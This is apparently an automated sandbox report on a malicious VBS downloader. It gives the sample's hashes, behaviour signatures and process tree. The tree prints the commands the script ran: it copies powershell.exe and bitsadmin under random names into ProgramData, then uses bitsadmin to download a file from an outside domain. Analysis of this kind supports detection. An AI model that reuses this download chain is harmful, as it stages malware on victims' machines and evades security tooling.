Analysis
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max time kernel
31s -
max time network
104s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
01-03-2021 18:52
Static task
static1
Behavioral task
behavioral1
Sample
00SBLFNC71R18D160W.vbs
Resource
win7v20201028
General
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Target
00SBLFNC71R18D160W.vbs
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Size
699B
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MD5
70053c798a635f12c002e57eacb3bd26
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SHA1
4cbe4c33fc5f44265e15bb6e583f46c878a97341
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SHA256
43202b6bcac9d8c195da84abee91ebd15ee80337421dc6e0eaa1c2e1481bb123
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SHA512
62652ceb291614da3b19be434fe3db7f1777e080b3e030c370cea1112dbd81a677a917ef356265bdeed732af89ebab6760cd7996179a477fe595ae4795402c69
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
Processes:
lALIBfVin.exepid process 1000 lALIBfVin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of WriteProcessMemory 9 IoCs
Processes:
WScript.execmd.exedescription pid process target process PID 4760 wrote to memory of 4952 4760 WScript.exe cmd.exe PID 4760 wrote to memory of 4952 4760 WScript.exe cmd.exe PID 4952 wrote to memory of 5040 4952 cmd.exe cmd.exe PID 4952 wrote to memory of 5040 4952 cmd.exe cmd.exe PID 4952 wrote to memory of 5088 4952 cmd.exe cmd.exe PID 4952 wrote to memory of 5088 4952 cmd.exe cmd.exe PID 4760 wrote to memory of 1000 4760 WScript.exe lALIBfVin.exe PID 4760 wrote to memory of 1000 4760 WScript.exe lALIBfVin.exe PID 4760 wrote to memory of 1000 4760 WScript.exe lALIBfVin.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\00SBLFNC71R18D160W.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:4760 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aREepkDUA.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\lALIBfV*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:4952 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aREepkDUA.exe3⤵PID:5040
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\lALIBfV*.exe3⤵PID:5088
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C:\ProgramData\lALIBfVin.exe"C:\ProgramData\lALIBfVin.exe" /wrap /transfer wyajDGCI https://agaux.com/ogoksi/SBLFNC71R18D160W/developer.txt C:\ProgramData\developer.txt2⤵
- Executes dropped EXE
PID:1000
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
bc3fc615ded204ba43b3b5ee76e7aa32
SHA17295b2b245fe99eac5a597693b4388c38b50edca
SHA256452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889
SHA5127c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca
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MD5
bc3fc615ded204ba43b3b5ee76e7aa32
SHA17295b2b245fe99eac5a597693b4388c38b50edca
SHA256452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889
SHA5127c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca